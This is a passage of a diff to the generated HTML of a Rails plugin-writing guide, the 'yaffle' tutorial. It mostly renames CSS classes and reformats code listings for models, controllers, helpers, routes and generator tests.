+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'yaffle/acts_as_yaffle'</span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'yaffle/acts_as_yaffle'</span></tt></pre></div></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -770,11 +591,10 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
<span style="font-style: italic"><span style="color: #9A1900"># your code will go here</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Note that after requiring <em>acts_as_yaffle</em> you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.</p></div>
-<div class="para"><p>One of the most common plugin patterns for <em>acts_as_yaffle</em> plugins is to structure your file like so:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Note that after requiring <em>acts_as_yaffle</em> you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.</p></div>
+<div class="paragraph"><p>One of the most common plugin patterns for <em>acts_as_yaffle</em> plugins is to structure your file like so:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -795,13 +615,12 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">module</span></span> InstanceMethods
<span style="font-style: italic"><span style="color: #9A1900"># any method placed here will apply to instaces, like @hickwall</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With structure you can easily separate the methods that will be used for the class (like <tt>Hickwall.some_method</tt>) and the instance (like <tt>@hickwell.some_method</tt>).</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>With structure you can easily separate the methods that will be used for the class (like <tt>Hickwall.some_method</tt>) and the instance (like <tt>@hickwell.some_method</tt>).</p></div>
<h3 id="_add_a_class_method">4.1. Add a class method</h3>
-<div class="para"><p>This plugin will expect that you've added a method to your model named <em>last_squawk</em>. However, the plugin users might have already defined a method on their model named <em>last_squawk</em> that they use for something else. This plugin will allow the name to be changed by adding a class method called <em>yaffle_text_field</em>.</p></div>
-<div class="para"><p>To start out, write a failing test that shows the behavior you'd like:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
+<div class="paragraph"><p>This plugin will expect that you&#8217;ve added a method to your model named <em>last_squawk</em>. However, the plugin users might have already defined a method on their model named <em>last_squawk</em> that they use for something else. This plugin will allow the name to be changed by adding a class method called <em>yaffle_text_field</em>.</p></div>
+<div class="paragraph"><p>To start out, write a failing test that shows the behavior you&#8217;d like:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -827,10 +646,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_wickwalls_yaffle_text_field_should_be_last_tweet
assert_equal <span style="color: #FF0000">"last_tweet"</span><span style="color: #990000">,</span> Wickwall<span style="color: #990000">.</span>yaffle_text_field
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To make these tests pass, you could modify your <tt>acts_as_yaffle</tt> file like so:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>To make these tests pass, you could modify your <tt>acts_as_yaffle</tt> file like so:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -849,12 +667,11 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle
-</tt></pre></div></div>
+ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle</tt></pre></div></div>
<h3 id="_add_an_instance_method">4.2. Add an instance method</h3>
-<div class="para"><p>This plugin will add a method named <em>squawk</em> to any Active Record objects that call <em>acts_as_yaffle</em>. The <em>squawk</em> method will simply set the value of one of the fields in the database.</p></div>
-<div class="para"><p>To start out, write a failing test that shows the behavior you'd like:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
+<div class="paragraph"><p>This plugin will add a method named <em>squawk</em> to any Active Record objects that call <em>acts_as_yaffle</em>. The <em>squawk</em> method will simply set the value of one of the fields in the database.</p></div>
+<div class="paragraph"><p>To start out, write a failing test that shows the behavior you&#8217;d like:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -892,10 +709,9 @@ http://www.gnu.org/software/src-highlite -->
wickwall<span style="color: #990000">.</span>squawk<span style="color: #990000">(</span><span style="color: #FF0000">"Hello World"</span><span style="color: #990000">)</span>
assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> wickwall<span style="color: #990000">.</span>last_tweet
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Run this test to make sure the last two tests fail, then update <em>acts_as_yaffle.rb</em> to look like this:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Run this test to make sure the last two tests fail, then update <em>acts_as_yaffle.rb</em> to look like this:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -921,21 +737,20 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle
-</tt></pre></div></div>
+ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle</tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
<td class="content">
-<div class="title">Editor's note:</div>The use of <tt>write_attribute</tt> to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>.</td>
+<div class="title">Editor&#8217;s note:</div>The use of <tt>write_attribute</tt> to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>.</td>
</tr></table>
</div>
</div>
<h2 id="_models">5. Models</h2>
<div class="sectionbody">
-<div class="para"><p>This section describes how to add a model named <em>Woodpecker</em> to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories. For this example, create a file structure like this:</p></div>
+<div class="paragraph"><p>This section describes how to add a model named <em>Woodpecker</em> to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it&#8217;s customary to keep them in directories that match the rails directories. For this example, create a file structure like this:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>vendor/plugins/yaffle/
@@ -952,8 +767,8 @@ ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #99000
| | `-- core_ext.rb
| `-- yaffle.rb</tt></pre>
</div></div>
-<div class="para"><p>As always, start with a test:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/yaffle/woodpecker_test.rb:</strong></p></div>
+<div class="paragraph"><p>As always, start with a test:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/yaffle/woodpecker_test.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -967,10 +782,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_woodpecker
assert_kind_of Woodpecker<span style="color: #990000">,</span> Woodpecker<span style="color: #990000">.</span>new
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This is just a simple test to make sure the class is being loaded correctly. After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This is just a simple test to make sure the class is being loaded correctly. After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -981,20 +795,18 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the <em>load_once_paths</em> allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin.</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/app/models/woodpecker.rb:</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the <em>load_once_paths</em> allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin.</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/app/models/woodpecker.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Woodpecker <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Finally, add the following to your plugin's <em>schema.rb</em>:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/schema.rb:</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Finally, add the following to your plugin&#8217;s <em>schema.rb</em>:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/schema.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1002,15 +814,14 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>create_table <span style="color: #990000">:</span>woodpeckers<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.</p></div>
</div>
<h2 id="_controllers">6. Controllers</h2>
<div class="sectionbody">
-<div class="para"><p>This section describes how to add a controller named <em>woodpeckers</em> to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model.</p></div>
-<div class="para"><p>You can test your plugin's controller as you would test any other controller:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:</strong></p></div>
+<div class="paragraph"><p>This section describes how to add a controller named <em>woodpeckers</em> to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model.</p></div>
+<div class="paragraph"><p>You can test your plugin&#8217;s controller as you would test any other controller:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1037,10 +848,9 @@ http://www.gnu.org/software/src-highlite -->
get <span style="color: #990000">:</span>index
assert_response <span style="color: #990000">:</span>success
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This is just a simple test to make sure the controller is being loaded correctly. After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This is just a simple test to make sure the controller is being loaded correctly. After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1051,9 +861,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1065,15 +874,14 @@ http://www.gnu.org/software/src-highlite -->
render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Squawk!"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to <a href="http://localhost:3000/woodpeckers">http://localhost:3000/woodpeckers</a> to see your controller in action.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to <a href="http://localhost:3000/woodpeckers">http://localhost:3000/woodpeckers</a> to see your controller in action.</p></div>
</div>
<h2 id="_helpers">7. Helpers</h2>
<div class="sectionbody">
-<div class="para"><p>This section describes how to add a helper named <em>WoodpeckersHelper</em> to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller.</p></div>
-<div class="para"><p>You can test your plugin's helper as you would test any other helper:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/woodpeckers_helper_test.rb</strong></p></div>
+<div class="paragraph"><p>This section describes how to add a helper named <em>WoodpeckersHelper</em> to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller.</p></div>
+<div class="paragraph"><p>You can test your plugin&#8217;s helper as you would test any other helper:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/woodpeckers_helper_test.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1086,10 +894,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_tweet
assert_equal <span style="color: #FF0000">"Tweet! Hello"</span><span style="color: #990000">,</span> tweet<span style="color: #990000">(</span><span style="color: #FF0000">"Hello"</span><span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This is just a simple test to make sure the helper is being loaded correctly. After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This is just a simple test to make sure the helper is being loaded correctly. After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1100,9 +907,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1114,15 +920,14 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">"Tweet! #{text}"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.</p></div>
</div>
<h2 id="_routes">8. Routes</h2>
<div class="sectionbody">
-<div class="para"><p>In a standard <em>routes.rb</em> file you use routes like <em>map.connect</em> or <em>map.resources</em>. You can add your own custom routes from a plugin. This section will describe how to add a custom method called that can be called with <em>map.yaffles</em>.</p></div>
-<div class="para"><p>Testing routes from plugins is slightly different from testing routes in a standard rails app. To begin, add a test like this:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/routing_test.rb</strong></p></div>
+<div class="paragraph"><p>In a standard <em>routes.rb</em> file you use routes like <em>map.connect</em> or <em>map.resources</em>. You can add your own custom routes from a plugin. This section will describe how to add a custom method called that can be called with <em>map.yaffles</em>.</p></div>
+<div class="paragraph"><p>Testing routes from plugins is slightly different from testing routes in a standard rails app. To begin, add a test like this:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/routing_test.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1148,18 +953,16 @@ http://www.gnu.org/software/src-highlite -->
result <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>recognize_path<span style="color: #990000">(</span>path<span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> method<span style="color: #990000">)</span>
assert_equal options<span style="color: #990000">,</span> result
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Once you see the tests fail by running <em>rake</em>, you can make them pass with:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Once you see the tests fail by running <em>rake</em>, you can make them pass with:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/routing"</span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/routing.rb</strong></p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/routing"</span></tt></pre></div></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/routing.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1175,9 +978,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>RouteSet<span style="color: #990000">::</span>Mapper<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>MapperExtensions
-</tt></pre></div></div>
-<div class="para"><p><strong>config/routes.rb</strong></p></div>
+ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>RouteSet<span style="color: #990000">::</span>Mapper<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>MapperExtensions</tt></pre></div></div>
+<div class="paragraph"><p><strong>config/routes.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1185,17 +987,16 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
map<span style="color: #990000">.</span>yaffles
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can also see if your routes work by running <tt>rake routes</tt> from your app directory.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You can also see if your routes work by running <tt>rake routes</tt> from your app directory.</p></div>
</div>
<h2 id="_generators">9. Generators</h2>
<div class="sectionbody">
-<div class="para"><p>Many plugins ship with generators. When you created the plugin above, you specified the &#8212;with-generator option, so you already have the generator stubs in <em>vendor/plugins/yaffle/generators/yaffle</em>.</p></div>
-<div class="para"><p>Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file.</p></div>
+<div class="paragraph"><p>Many plugins ship with generators. When you created the plugin above, you specified the --with-generator option, so you already have the generator stubs in <em>vendor/plugins/yaffle/generators/yaffle</em>.</p></div>
+<div class="paragraph"><p>Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file.</p></div>
<h3 id="_testing_generators">9.1. Testing generators</h3>
-<div class="para"><p>Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Creates a new fake rails root directory that will serve as destination
@@ -1217,8 +1018,8 @@ Removes the fake rails root
</p>
</li>
</ul></div>
-<div class="para"><p>This section will describe how to create a simple generator that adds a file. For the generator in this section, the test could look something like this:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/definition_generator_test.rb</strong></p></div>
+<div class="paragraph"><p>This section will describe how to create a simple generator that adds a file. For the generator in this section, the test could look something like this:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/definition_generator_test.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1255,11 +1056,10 @@ http://www.gnu.org/software/src-highlite -->
Dir<span style="color: #990000">.</span>glob<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">,</span> <span style="color: #FF0000">"*"</span><span style="color: #990000">))</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can run <em>rake</em> from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.</p></div>
-<div class="para"><p>To make it pass, create the generator:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You can run <em>rake</em> from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.</p></div>
+<div class="paragraph"><p>To make it pass, create the generator:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1271,24 +1071,23 @@ http://www.gnu.org/software/src-highlite -->
m<span style="color: #990000">.</span>file <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
